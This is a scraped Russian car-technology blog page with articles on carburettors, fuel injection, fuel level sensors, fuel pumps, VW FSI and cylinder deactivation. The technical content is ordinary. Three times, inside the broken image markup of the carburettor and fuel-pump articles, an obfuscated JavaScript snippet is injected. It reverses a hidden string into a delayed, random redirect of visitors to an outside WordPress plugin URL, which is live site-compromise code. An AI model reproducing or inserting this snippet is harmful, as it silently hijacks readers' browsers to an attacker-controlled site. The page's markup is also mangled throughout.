двигатель

  • Карбюраторная система двигателя: классика 20-го века

    Дорогие друзья, мы прекрасно знаем, какими невероятными темпами идёт развитие современных технологий, и автомобильная промышленность не пасёт задних в этой гонке инноваций. Тем не менее, не стоит забывать о проверенной временем классике, которая не только до сих пор встречается на наших дорогах, но и является образцом инженерной мысли. Об одной из таких систем мы сегодня и поговорим, а если точнее, изучим устройство системы питания карбюраторного двигателя – настоящей классики автомобильного жанра.

    При слове «карбюратор» у многих из Вас, наверняка, в числе первых ассоциаций возникают, конечно же, «Жигули». Оно и не мудрено. Эти творения АвтоВАЗа плотно пересекаются с жизнью людей на всём постсоветском пространстве и, по сути, являются самыми доступными машинами.

    Особенно часто на них обращают внимание начинающие водители, коих среди наших читателей много, поэтому знать принцип работы того, что находится под капотом у матёрого «Жигуля» или «Лады» не только интересно, но и полезно.

    Знакомство с карбюратором

    Приступим. Как мы знаем, для того чтобы двигатель заработал, в его цилиндры необходимо подать смесь бензина и воздуха, которая, воспламеняясь, приводит в движение поршни. В общем-то, именно способом перемешивания и подачи топлива в цилиндры и отличаются между собой разновидности моторов, и до прихода эры электронного управления впрыском этим процессом заведовали карбюраторы. Существует несколько основных разновидностей этого устройства:

      • барботажный;
      • мембранно-игольчатый;
      • поплавковый.

    Барботажный

    Карбюратор такого типа – самый несовершенный, он не применяется в данное время на современных автомобилях. Суть карбюратора заключалась в следующем: в верху бензобака расположены на общей раме два патрубка. В один поступает воздух, из другого он выходит, смешанный с парами топлива. Так получается топливная смесь для двигателя.

    Дроссельная заслонка существует отдельно от двигателя.  Барботажный карбюратор очень требователен к фракционному составу топлива, да и крайне взрывоопасен, нет возможности к регулировке и соответственно большой размер конструкции. Короче говно полное.

     

    to-ru.ru/wp-content/uploads/2016/11/barbotagny.jpg» alt=»Барботажный способ карбюраторной системв» width=»400″ height=»234″/>

    Мембранно-игольчатый

    Мембранно-игольчатый карбюратор состоит из нескольких камер с мембранами. Мембраны крепятся на штоке, конец которого имеет вид иглы, которая открывает и закрывает подачу топлива. Такой карбюратор довольно сложный.

    Клапан перемещаясь под действием мембран. Первая разделяет воздушные камеры низкого и высокого давлений. Вторая делит топливные камеры, высокого и низкого давлений.

    Дроссельная заслонка регулирует количество воздуха, следовательно смеси, которая поступает в двигатель. В камере 1, в результате напора воздуха, давление повышается, а в камере 2, сообщающейся с диффузором, наступает разрежение (чем меньше сечение, тем больше скорость, и меньше давление).

    Под воздействием разности давлений, мембрана прогибается и открывает клапан. Клапан открывается и топливо поступает в камеру 4. Из камеры 4 топливо проходит через дозирующий жиклер и проходя через форсунку поступает в смесительную камеру, где распыляется  и смешивается с воздухом. Топливная камера 3, в следствии движения мембраны, наполняется топливом по каналу из-за жиклера. Так как давление в камере ниже, чем в камере 4.

    В результате расхода топлива мембраны отклоняются и стремятся закрыть клапан поступления топлива. Когда наступает равновесие между давлениями на мембраны, тогда устанавливается режим работы двигателя.

    Карбюраторы такого типа работают довольно точно, в каком бы положении не находился двигатель. Однако конструкторы отошли от такого типа карбюраторов, ввиду сложности его регулировки. В данное время на автомобилях не применяется.

    Впрыскивающие карбюраторы работают точно и надежно при любом положении двигателя. Однако, из-за сложности регулировок и обслуживания в автомобильных двигателях не применяются.

    to-ru.ru/wp-content/uploads/2016/11/membran-karb.jpg» alt=»Мембранно-игольчатый карбюратор» width=»779″ height=»556″/>

     

    Поплавковый

    Сегодня мы рассмотрим упрощённую схему самого популярного в автомобилестроении поплавкового карбюратора. В его конструкции можно выделить несколько основных функциональных элементов:

    Устройство системы питания карбюраторного двигателя

    Теперь попробуем разобраться, как все эти детали работают вместе.

    $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/11/karbur-sys.png» alt=»Устройство системы питания карбюраторного двигателя» width=»780″ height=»678″/> Схема простейшего карбюратора

    Поплавковая камера представляет собой небольшой бак, в котором поддерживается постоянный уровень бензина, попадающего туда непосредственно из топливопровода автомобиля.

    Из поплавковой камеры горючее через канал-распылитель подаётся в смесительную камеру, где и происходит главное действо по объединению в одну субстанцию топлива и воздуха.

    Этот процесс становится возможным благодаря движению поршней – они всасывают воздух, который проходит через фильтр, воздушную заслонку, ускоряется в диффузоре, образовывая разряжение в области выхода распылителя, и уже вместе с распылённым бензином оказывается возле дроссельной заслонки. Эта заслонка регулирует количество воздушно-топливной смеси в цилиндрах и именно она открывается, когда Вы нажимаете педаль «газа».

    Мы рассмотрели лишь упрощённую схему работы карбюраторной системы питания двигателя, реальные устройства на самом деле гораздо сложнее. В них, в процессе развития, появлялись элементы, позволяющие моторам эффективно работать на разных режимах. К примеру, системы пуска и холостого хода, экономайзеры, блоки подогрева и др.

    to-ru.ru/wp-content/uploads/2016/11/karbur.jpg» alt=»Разрез карбюратора» width=»780″ height=»473″/>

    Помимо этого, автопроизводители уделяли внимание повышению экономичности и экологичности силовых агрегатов, что тоже усложняло конструкцию карбюраторов. Чтобы охватить все возможные разновидности этого узла и его вспомогательных элементов понадобится не то чтобы цикл статей, а, скорее, несколько томов технической литературы.

    to-ru.ru/wp-content/uploads/2016/11/karburator.jpg» alt=»Карбюратор ВАЗ» width=»780″ height=»585″/>

    Ну что ж, уважаемые читатели, надеюсь, что вы поняли устройство системы питания карбюраторного двигателя, а вот чтобы не пропустить подобные беседы, которые появляются здесь регулярно, подписывайтесь, да в общем не лишним будет и поделиться ссылочками со своими друзьям.

    Углубляйте знания в автоделе!

  • Топливные системы впрыска: различие и принципы работы

    Уважаемые читатели и подписчики, приятно, что вы продолжаете изучать устройство автомобилей! И сейчас вашему вниманию электронная система впрыска топлива, принцип действия которой я постараюсь рассказать в этой статье.

    Да, именно о тех устройствах, которые вытеснили из под капотов машин проверенные временем to-ru.ru/karbyuratornaya-sistema.html» target=»_blank» rel=»noopener noreferrer»>карбюраторные системы питания, а также узнаем много ли общего у современных бензиновых и дизельных двигателей.

    Электронная система впрыска топлива

    Возможно, мы бы с Вами и не обсуждали данную технологию, если бы пару десятилетий назад человечество всерьёз не озаботилось экологией, и одной из серьёзнейших проблем оказались токсичные выхлопные газы автомобилей.

    Главной недоработкой машин с двигателями, оборудованными карбюраторами, стало неполное сгорание топлива, а чтобы решить эту проблему понадобились системы, способные регулировать количество подаваемого в цилиндры горючего в зависимости от режима работы мотора.

    to-ru.ru/wp-content/uploads/2016/11/sys_vprisk.jpg» alt=»Разрез двигателя с системой непосредственного впрыска» width=»780″ height=»585″/>

    Так, на арене автомобилестроения появились системы впрыска или, как их ещё называют — инжекторные системы. Помимо повышения экологичности, эти технологии улучшили эффективность двигателей и их мощностные характеристики, став настоящей находкой для инженеров.

    На сегодняшний день впрыск (инжекция) топлива используются не только на дизельных, но и на бензиновых агрегатах,  что,  несомненно, их объединяет.

    Объединяет их и то, что главным рабочим элементом этих систем, какого бы типа они ни были, является форсунка. Но из-за различий метода сжигания горючего, конструкции инжекторных узлов у этих двух типов моторов, конечно же, отличаются. Поэтому рассмотрим их по очереди.

    Инжекторные системы и бензин

    Электронная система впрыска топлива. Начнём с бензиновых двигателей. В их случае, инжекция решает задачу создания воздушно-топливной смеси, которая затем воспламеняется в цилиндре от искры свечи зажигания.

    В зависимости от того, как эта смесь и горючее подаётся к цилиндрам, инжекторные системы могут иметь несколько разновидностей. Впрыск бывает:

    Центральный впрыск

    Главная особенность технологии, расположенной первой в списке – одна единственная форсунка на весь двигатель, которая располагается во впускном коллекторе.Надо отметить, что этот вид инжекторной системы по своим характеристикам не сильно отличается от карбюраторной, поэтому на сегодняшний день считается устаревшим.

    to-ru.ru/wp-content/uploads/2016/11/zentr_vp.jpg»>to-ru.ru/wp-content/uploads/2016/11/zentr_vp.jpg» alt=»Схема центрального впрыска» width=»500″ height=»635″/>

    Распределенный впрыск

    Более прогрессивным является распределённый впрыск. В этой системе топливная смесь так же образуется во впускном коллекторе, но, в отличие от предыдущей, каждый цилиндр здесь может похвастаться собственной форсункой.

    Данная разновидность позволяет ощутить все преимущества инжекторной технологии, поэтому наиболее любима автопроизводителями, и активно используется в современных двигателях.

    to-ru.ru/wp-content/uploads/2016/11/rasp_vp.jpg» alt=»Система распределенного впрыска» width=»500″ height=»490″/>

    Непосредственный впрыск

    Но, как мы знаем, совершенству нет пределов, и в погоне за ещё более высокой эффективностью, инженерами была разработана электронная система впрыска топлива, а именно система непосредственного впрыска.

    Её главной особенностью является расположение форсунок, которые, в данном случае, своими соплами выходят в камеры сгорания цилиндров.

    to-ru.ru/wp-content/uploads/2016/11/nep_vpr.jpg» alt=»Непосредственный впрыск» width=»500″ height=»339″/>

    Образование воздушно-топливной смеси, как уже можно догадаться, происходит прямо в цилиндрах, что благотворно отражается на эксплуатационных параметрах моторов, хотя этот вариант имеет не такую высокую, как у распределённого впрыска, экологичность. Ещё один ощутимый недостаток этой технологии – высокие требования к качеству бензина.

    Комбинированный впрыск

    Наиболее передовым с точки зрения уровня выбросов вредных веществ является комбинированная система. Это, по сути, симбиоз непосредственной и распределённой инжекции топлива.

    to-ru.ru/wp-content/uploads/2016/11/komb_vp.jpg» alt=»Система комбинированного впрыска» width=»500″ height=»583″/>

    А как дела у дизелей?

    Перейдём к дизельным агрегатам. Перед их топливной системой стоит задача подачи горючего под очень высоким давлением, которое, смешиваясь в цилиндре со сжатым воздухом, воспламеняется само.

    Вариантов решения этой задачи создано очень много – применяется и непосредственный впрыск в цилиндры, и с промежуточным звеном в виде предварительной камеры, помимо этого, существуют различные компоновки насосов высокого давления (ТНВД), что тоже придаёт разнообразия.

    Тем не менее, современные мотористы отдают предпочтение двум типам систем, осуществляющих подачу солярки прямо в цилиндры:

    • с насос-форсунками;
    • впрыск Common Rail.

    Насос-форсунка

    Насос-форсунка говорит сама за себя – в нём форсунка, впрыскивающая топливо в цилиндр, и ТНВД конструктивно объединены в один узел. Главная проблема таких устройств заключается в повышенном износе, так как насос-форсунки соединены постоянным приводом с распредвалом и никогда не отключаются от него.

    to-ru.ru/wp-content/uploads/2016/11/nas_fors.jpg» alt=»Система насос-форсунка» width=»500″ height=»404″/>

    Система Common Rail

    В системе Common Rail применён немного другой подход, делающий её более предпочтительной. Тут имеется один общий ТНВД, который подаёт дизель в топливную рампу, распределяющую горючее по форсункам цилиндров.

    to-ru.ru/wp-content/uploads/2016/10/common-raill_min-300×180.jpg» alt=»Система впрыска Common Rail» width=»500″ height=»299″/>

    to-ru.ru/wp-content/uploads/2016/11/com_r.jpg» alt=»Форсунка системы Common Rail» width=»500″ height=»443″/>

    Это был лишь краткий обзор инжекторных систем, поэтому, друзья, проходите по ссылкам в статьях, а воспользовавшись рубрикой Двигатель, вы найдете для изучения все системы впрыска современных автомобилей.  И подписываться на рассылку, чтобы не пропустить новые публикации, в которых найдете много детальной информации по системам и механизмам автомобиля.

    До новых встреч!

  • Датчик уровня топлива: зачем поплавок в топливном баке?

    Приветствую вас, дорогие мои читатели и подписчики! В этой статье продолжу изучение топливной системы автомобиля, и сегодня на повестке дня устройство датчика уровня топлива.

    Этот датчик помогает нам узнать о положении дел в бензобаке и не пропустить момент очередного посещения заправки. И что же это за прибор, скрывающийся от нас в глубине бака, каковы его особенности работы?

    Секреты топливомера

    to-ru.ru/wp-content/uploads/2016/11/ukazat.png» alt=»ukazat» width=»200″ height=»200″/>Хотя любого автолюбителя расстраивает мигающая лампочка, сигнализирующая о том, что пора заливать новую порцию бензина или солярки в автомобиль, эта информация крайне необходима.

    Согласитесь, никому бы не хотелось оказаться с пустым баком посреди ночи где-нибудь на пустынной трассе, поэтому без устройства, помогающего избежать подобных неприятностей, в машине не обойтись.

    Современные автопроизводители решают задачу контроля расхода топлива при помощи потенциометрического датчика перемещения. Несмотря на то, что прибор имеет такое сложное название, на самом деле он прост, надёжен и стоит недорого.

    Что он собой представляет? В общих чертах, основных элементов у датчика уровня топлива два – поплавок, который всегда находится на поверхности горючего, и измерительный элемент, так называемый потенциометр, изменяющий сопротивление электрическому току в зависимости от положения своей механической подвижной части.

    Поплавок и потенциометр жёстко связаны между собой, благодаря чему образовывается зависимость электрического сигнала от уровня топлива в баке. Наглядно эту зависимость мы и наблюдаем на индикаторе, расположенном у нас приборной панели.

    Не обмани меня, датчик топлива!

    Надеемся, принцип измерения уровня топлива в баке понятен. Теперь перейдём к конструктивным исполнениям датчика, а их основных существует несколько:

    • рычажного типа;
    • трубчатого типа.

    Первый получил своё название благодаря металлическому рычагу, соединяющему поплавок с потенциометром. Такая разновидность датчика может быть как самостоятельным устройством, так и входить в состав узла, объединяющего в себе насос и топливозаборник.

    to-ru.ru/wp-content/uploads/2016/11/datchik.jpg» alt=»Рычажный датчик уровня топлива» width=»400″ height=»475″/>

    Нужно отметить, что у рычажного уровнемера имеется один серьёзный недостаток, из-за которого его всё реже используют автопроизводители – его показания сильно зависят от колебаний топлива в баке, а это значит, что прибор может врать при торможении, начале движения, в резких поворотах и в прочих ситуациях.

    to-ru.ru/wp-content/uploads/2016/11/dat_top-300×190.jpg» alt=»Рычажный датчик» width=»400″ height=»253″/>

    Не так подвержены этому явлению трубчатые датчики. Как можно догадаться, ключевым элементом их конструкции выступает вертикальная трубка, внутри которой перемещается поплавок. Хотя эта разновидность более точно следит за уровнем горючего в баке, из-за своих геометрических размеров её не всегда можно уместить в ёмкость.

    Как измерить количество топлива в баке мы выяснили, но теперь надо как-то донести эти сведения водителю.

    В простейшем случае электрическое напряжение, меняющееся при повороте механической части потенциометра, напрямую передаётся на измерительный прибор – в данном случае на индикатор уровня горючего. Это так называемый аналоговый тип передачи данных. Он очень неточный, и на сегодняшний считается устаревшим.

    to-ru.ru/wp-content/uploads/2016/11/dattrub.jpg» alt=»Устройство датчика топлива трубчатый» width=»391″ height=»561″/>

    Гораздо более прогрессивным является цифровой датчик.

    to-ru.ru/wp-content/uploads/2016/11/zifdat-300×233.jpg» alt=»Цифровой датчик топлива» width=»300″ height=»233″/>

    В нём тоже ключевым элементом выступает потенциометр, но перед тем как сигнал с него попадёт к нам на приборную панель, он проходит оцифровку и обработку в микропроцессоре. Благодаря таким манипуляциям мы получаем откорректированные данные, которые учитывают массу различных параметров, вносящих погрешности при аналоговой передаче.

    Друзья, надеюсь, что сегодняшняя статья была для Вас интересна и познавательна. Следите за публикациями, чтобы и дальше продолжать изучение устройства автомобилей.

  • Такие разные ТННД: механические, электрические и даже роликовые

    Друзья, сегодняшняя статья будет посвящена узлу, который устанавливается на все автомобили без исключения, будь то старые «Жигули», новенькая BMW или грузовой трудяга-тягач. Мы поговорим о насосах, а если точнее, то в этой статье вы узнаете о том, где находится топливный насос низкого давления для карбюратора, какие бывают виды этих устройств у современных машин, а также разберёмся, насколько они необходимы нашим четырёхколёсным друзьям.

    Босс топливной системы

    Итак, как мы уже сказали, главным героем сегодняшнего рассказа будет топливный насос низкого давления (ТННД) во всех возможных его интерпретациях. Этот элемент по праву можно назвать одним из ключевых в топливной системе каждого авто.

    В его функции входит подача любой ценой горючего из бака к сердцу машины – к мотору. Можно ли без него обойтись? Конечно, нет, ведь без насоса топливо просто не попадёт в силовой агрегат, и тогда никто никуда уже не поедет.

    Не лишним будет сказать, что у современных авто этот узел контролируется электронным блоком управления, который может регулировать объёмы подачи горючего, отключать его в случае неисправностей и следить за его техническим состоянием.

    В зависимости от того, какой тип двигателя применяется в автомобиле, расположение ТННД может быть разным. Так, к примеру, на старых транспортных средствах с карбюраторным силовым агрегатом насос в силу своих конструктивных особенностей, о которых мы скажем позже, находится непосредственно на моторе.

    У представителей современного автопрома, использующих бензиновые двигатели с инжекторами или непосредственным впрыском, этот узел можно отыскать прямо в топливном баке. У дизелей он тоже имеется, правда, обычно именуется подкачивающим насосом и, как правило, располагается он в одном блоке с насосом высокого давления.

    Такие разные ТННД

    Перейдём к разновидностям ТННД. Основных типов два:

    Механические

    $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/11/tnnd-klas.jpg» alt=»Механический топливный насос низкого давления» width=»780″ height=»591″/> Механический топливный насос низкого давления

    Электрические

    $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/11/edulek-ettv.jpg» alt=»Электрический топливный насос низкого давления» width=»780″ height=»491″/> Электрический топливный насос низкого давления

    Электрические, в свою очередь, можно разделить ещё на несколько подгрупп в зависимости от конструкции, а именно:

    • роликовые;
    • шестерёнчатые;
    • центробежные.

    А теперь попробуем разобраться с каждым из вышеперечисленных видов.

    Итак, начнём с классики, которую можно встретить на авто с карбюраторными моторами – это механические насосы. Как мы уже вспоминали выше, этот тип ТННД располагается непосредственно на двигателе и это не случайно. Дело в том, что привод данного насоса обеспечивается коленчатым валом через специальный эксцентрический кулачок.

    В процессе вращения этот кулачок давит на шток, который, в свою очередь, сжимает мембрану внутри насоса, уменьшая его внутренний объём. За счёт сжимания и разжимания мембраны происходит нагнетание топлива в карбюратор. Перетекание горючего обратно в бак блокируется обратным клапаном.

    Вроде бы простая и надёжная конструкция у механического ТННД, но применить его в современных авто с инжекторным или распределённым впрыском нельзя – уж слишком маленькое давление он нагнетает, да и то с пульсациями, негативно отражающимися на стабильности работы.

    Из-за этого автопром массово перешёл на электрический тип насосов. С внедрением этого типа отпала необходимость установки его около мотора, поэтому в большинстве случаев найти его можно в бензобаке.

    Казалось бы, странное выбрано место, но это, на самом деле, тонкий инженерный расчёт – в баке, заполненном горючим, ТННД лучше всего охлаждается, а шум от его работы не раздражает наши нервы.

    to-ru.ru/wp-content/uploads/2016/11/vidi-nasosy.png» alt=»Конструкционные особенности ТННД» width=»780″ height=»171″/>

    Ключевыми элементами конструкции данной разновидности бензонасосов являются электродвигатель и насосная часть. В роликовых и шестерёнчатых устройствах используется физический эффект разряжения, который происходит при изменении положения роликов или шестерней относительно неподвижных частей насоса.

    Нужно отметить, что эти два типа на сегодняшний день считаются не самыми удачными, так как создают в системе пульсации, а их производительность порой не отвечает запросам моторов.

    Лишён перечисленных недостатков центробежный ТННД. Основу его конструкции составляет крыльчатка, которая, вращаясь с большой скоростью, создаёт завихрения топлива, в результате чего давление на выходе насоса повышается.

    Наверное, знатоки автодела смогут нас поправить и дополнить рассказ другими разновидностями бензонасосов. Это так, конструкций существует большое количество, но мы постарались вспомнить о самых распространённых. Надеемся, дорогие наши читатели, что после прочтения статьи, тёмных лошадок среди многочисленных узлов и агрегатов автомобиля для Вас стало меньше.

    Подписывайтесь на блог, делитесь ссылками на него с друзьями, а я, в свою очередь, продолжу радовать всех новыми публикациями.

  • Конструкторы VW придумали послойный впрыск топлива

    Рад приветствовать вас, мои дорогие читатели! Если Вы являетесь счастливым владельцем автомобиля от концерна Volkswagen, выпущенного после 2000-го года, то с большой долей вероятности, открыв капот и посмотрев на крышку двигателя, увидите шильдик FSI. Так вот на повестке данной статьи, раскрытие секрета символов — расшифровка fsi.

    А также описание схемы узла, скрывающегося под этой аббревиатурой, и его основных компонентов.

    Что означает эта аббревиатура?

    Кто-то разведёт руками, кто-то слышал о такой системе, а кто-то, возможно, хорошо ориентируется в этом вопросе.

    Как бы то ни было, надеемся, что сегодняшняя статья будет полезна абсолютно всем. А если у вас еще нет машины или покупка четырёхколёсного друга входит в планы, то узнать о том, что обозначают эти загадочные три буквы будет  вдвойне интересно.

    FSI. Что скрыто под капотом?

    Ну что ж, начнём раскрывать тайны немецких моторов. Загадочные буквы FSI являются сокращением от слов Fuel Stratified Injection, что в дословном переводе на русский — послойный впрыск топлива. Немного коряво звучит, поэтому, если быть точнее, то FSI это разновидность топливной системы, давшая название широкому спектру силовых агрегатов Volkswagen.

    Кстате, если возникнет вопрос, почему Ауди, то знайте, автомобили Ауди всегда выпускал и выпускает концерн Фольксваген. И Шкоду тоже. Кажется в 90-е годы он купил этот завод, поэтому Шкоды стали похожи на Фольксваген и причислены к весьма добротным автомобилям.

    to-ru.ru/wp-content/uploads/2016/11/fsi_vw.jpg» alt=»Двигатель Ауди с топливной системой FSI» width=»780″ height=»468″/>

    Главной её фишкой является непосредственный впрыск бензина в цилиндры, благодаря чему данные двигатели обладают большей мощностью, лучшей экономичностью и экологичностью, чем их собратья, выполненные по классической схеме с образованием топливно-воздушной смеси во впускном коллекторе. Впрыск горючего производится через специальные форсунки в чётких дозировках, которые просчитываются электроникой в зависимости от нагрузки мотора.

    Управляя впрыском: секреты Volkswagen

    Нужно отметить, что впрыск горючего в цилиндры происходит под большим давлением, и для того чтобы правильно согласовать работу различных компонентов, инженерам пришлось разделить топливную систему на два контура.

    Первый, так называемый контур низкого давления, организовывает при помощи насоса отбор определённой порции бензина из бака, которая нужна для работы мотора в данный момент времени, и подаёт её к насосу высокого давления (ТНВД). Основными элементами контура являются:

    • топливный бак;
    • бензонасос;
    • фильтр с предохранительным клапаном;
    • датчик давления в контуре;
    • блок управления насосом.

    Стоит отметить, что давление в контуре непостоянно, хоть и небольшое, и варьируется в пределах от 0,5 до 6,5 бар в зависимости от режима работы мотора.

    Следующей задачей системы FSI является создание высокого давления, чтобы топливо эффективно и в нужный момент подалось в цилиндры. Эту миссию, как Вы уже, наверное, догадались, выполняет контур высокого давления. Его ключевым элементом выступает насос, нагнетающий напор горючего в пределах от 30 до 110 бар. Этого достаточно, чтобы впрыснуть бензин через форсунки в рабочую область в чётко просчитанное мгновение. Главными компонентами этого контура выступают:

    • ТНВД;
    • рампа форсунок;
    • датчик высокого давления;
    • предохранительный клапан;
    • форсунки.

    Маленькие винтики большого механизма FSI

    Пройдясь кратенько по схеме работы системы FSI, не будет лишним уделить по несколько слов отдельным её компонентам, чтобы картина работы этого инженерного чуда сумрачного немецкого гения была полностью ясна.

    to-ru.ru/wp-content/uploads/2016/11/shem_fsi.jpg» alt=»Схема топливной системы FSI» width=»500″ height=»303″/>

    Начать хочется с элемента, который руководит всем этим сложным комплексом контуров, насосов, датчиков и форсунок – мозга всего мотора.

    Конечно же, это блок управления двигателем. В его задачи входит всё, начиная от контроля уровня топлива в контурах и до определения момента подачи бензина в цилиндры. Для этого электронный мозг анализирует массу информации, поступающей от разных датчиков, разбросанных не только по силовому агрегату, но и по всему автомобилю в целом, а затем подаёт управляющие сигналы своим подданным.

    Одним из таких подданных является насос контура низкого давления. О нём мы уже вспоминали. Расположен этот элемент непосредственно в топливном баке и на основе команд блока управления подаёт определённое количество бензина к входу насоса высокого давления.

    О нём мы тоже говорили. ТНВД играет одну из ключевых ролей системы FSI. Находится он на самом двигателе и связан приводом с распредвалом впускных клапанов. К вращению вала привязан алгоритм работы насоса, и, помимо этого, им управляет электронный блок мотора. Важным узлом ТНВД является регулятор давления, который контролирует подачу бензина из предыдущего контура.

    Правильная работа всей топливной системы была бы невозможна без датчиков давления – глаз и ушей блока управления. Благодаря им система знает, сколько горючего в контурах, нужно ли его ещё докачать или наоборот, имеется излишек.

    Все вышеперечисленные элементы трудятся ради одной общей цели – своевременного впрыска в цилиндры определённого количества бензина. Это важнейшая процедура, являющаяся венцом всей системы FSI, возложена на форсунки. Их работой, а именно моментом открытия, управляет всё тот же электронный мозг двигателя. От форсунок требуется лишь одна, но крайне важная операция — эффективно распылить горючее в цилиндре.

    Наверное, необходимо вспомнить и о вспомогательных элементах, без которых работа двигателя FSI была бы не столь эффективной. Так, к примеру, спасением форсунок и всего контура, обеспечивающего их работу, от внезапных скачков уровня горючего занимается предохранительный клапан. При достижении давления в 120 бар он открывается и отводит излишки бензина. Не менее ответственная задача у дросселя в контуре низкого давления – он сглаживает пульсации топлива, стабилизируя всю систему.

    //www.youtube.com/watch?v=wZ5C05-nEv4

    Вот вкратце мы и познакомились с двигателями FSI, их интересной схемой подачи горючего в цилиндры и особенностями работы.

    Надеюсь, вы смогли почерпнуть из рассказа что-то новое и углубили свои знания в сфере моторостроения.

    Чтобы не пропустить свежие статьи, обязательно подписывайтесь на рассылку. Обещаю, будет интересно.

  • Отключил пару цилиндров и сэкономил треть бака

    Здравствуйте! Наверняка, многие из вас, мои дорогие читатели, являются активными автолюбителями и часть своей жизни проводят за рулём. А если так, то вам будет интересно знать, что на некоторых двигателях есть такая система — система отключения цилиндров. Зачем она?

    Заезжая каждый раз на заправку и обращая внимание на стоимость топлива, вы, возможно, задумывались о том, что было бы неплохо, если б автомобиль расходовал меньше этой драгоценной жидкости и позволял экономить.

    Оказывается, этой мыслью озабочены не только владельцы машин, но и автопроизводители, поэтому технологии, позволяющие значительно снизить расход и увеличить эффективность моторов, появились ещё в середине ХХ века. А идея эта, как вы догадались, выключить часть цилиндров из работы, когда не нужна большая мощность.

    Система отключения цилиндров. Отключаем и экономим

    Каким образом можно быстро и заметно снизить расход топлива? Чтобы ответить на этот вопрос, необходимо вспомнить, что тратим мы бензин или солярку в процессе сжигания их в цилиндрах. Если мы хотим уменьшить потребление «горючки», логично сократить количество элементов, где она сгорает, но тогда и упадёт мощность двигателя, что тоже не выход.

    Конструкторы нашли решение – можно просто временно отключать часть цилиндров, а когда понадобится полная отдача мотора – включать в работу все. В этом и заключается принцип функционирования системы, о которой мы сегодня говорим.

    По заявлениям автопроизводителей, современные решения в этом направлении позволяют экономить до 30% топлива, что, согласитесь, может благотворно отражаться на наших с вами карманах.

    Идея, несомненно, хороша и, главное, полезна!

    Но как можно временно исключить из слаженного механизма двигателя цилиндры, ведь остановить движение поршней в них невозможно – они жёстко закреплены к коленвалу?

    На самом деле всё просто, какой бы ни была разновидность системы отключения, принцип работы у всех одинаковый – блокировка подачи топлива в цилиндры и отключение отдельных клапанов.

    Таким образом, сгорание смеси не происходит и некоторые поршни не выполняют никакой полезной работы.

    to-ru.ru/wp-content/uploads/2016/10/otkl.jpg» alt=»Система отключения цилиндров» width=»780″ height=»441″/>

    С решением первой задачи не возникает никаких проблем, так как форсунки, через которые подаётся горючее, управляются электронно. Что же касается клапанов, то тут разработчикам пришлось проявить свою смекалку, потому как заблокировать работу отдельных элементов газораспределительного механизма (ГРМ) оказалось не так уж и легко, и многие автопроизводители предложили свои варианты.

    Каждый отключает по-своему

    Чтобы описать все существующие системы отключения цилиндров, понадобится не одна статья, тем не менее, давайте попробуем с Вами рассмотреть некоторые из них.

    Итак, компания Mercedes-Benz в уже далёком 1999 году начала использовать в ГРМ коромысла специальной конструкции, которые состояли из двух частей, соединённых подвижным фиксатором.

    to-ru.ru/wp-content/uploads/2016/10/sys_mers.jpg» alt=»Система отключения цилиндров автоконцерна Мерседес» width=»780″ height=»471″/>

    При включении режима деактивации цилиндров, фиксаторы смещались, определённые клапаны обездвиживались. Эта технология получила имя Active Cylinder Control.

    Немного другой подход предложил концерн Volkswagen. Если другие автопроизводители, как правило, оснащали этой системой модели с массивными многоцилиндровыми моторами, то немцы решили, что она будет полезна и в небольших агрегатах, даже с компактными рядными «четвёрками».

    to-ru.ru/wp-content/uploads/2016/10/sys_volks.jpg» alt=»Система отключения цилиндров автоконцерна Фольксваген» width=»780″ height=»502″/>

    Технологию назвали Active Cylinder Technology, а её суть заключается в использовании сразу нескольких блоков кулачков распредвала, которые управляются специальными механизмами.

    Блоки имеют разные конфигурации кулачков, которые при активации режима, позволяют не взаимодействовать распредвалу с некоторыми клапанами.

    Есть и другие способы отключить лишние цилиндры. К примеру, применяются толкатели специальной конструкции или комбинация нескольких форм кулачков и коромысел с фиксаторами.

    to-ru.ru/wp-content/uploads/2016/10/yny_fse.jpg» alt=»Система включения и выключения цилиндров» width=»780″ height=»746″/>

    Деактивация цилиндров? Не всё так гладко

    Подозреваем, что в Вашей голове уже созрел вопрос: «Если система отключения цилиндров такая эффективная, почему она не используется повсеместно?»

    Было бы здорово, и с этим трудно не согласиться, но нужно признать, что, несмотря на явные преимущества этой технологии, у неё есть и ряд ощутимых недостатков, а именно:

    • значительное усложнение конструкции мотора;
    • дорогой ремонт в случае поломки, сложности в облуживании;
    • необходимость для автопроизводителей использовать нестандартные системы балансировки двигателя и шумоподавления.

    Все вышеперечисленные пункты очень сильно отражаются на цене автомобиля, поэтому производители не могут оснащать абсолютно все свои модели системой деактивации цилиндров. Особенно это важно для бюджетного сегмента рынка, где идёт борьба за каждую копейку.

    Таким образом, друзья, мы имеем интересную ситуацию.

    Вроде бы полезная во всех смыслах система отключения цилиндров пригодилась бы каждому автомобилю, но из-за стоимости и сложности применять её пока что целесообразно только в довольно дорогих моделях с многоцилиндровыми двигателями.

    Тем не менее, производители продолжают совершенствовать данную технологию и, возможно, когда-нибудь она станет такой же массовой, как, к примеру, подушки безопасности или ABS.

    Ну что ж, уважаемый гость моего блога, надеюсь, что вам было приятно узнать, что автопроизводители заботятся о наших кошельках, разрабатывая технологии, которые экономят топливо.

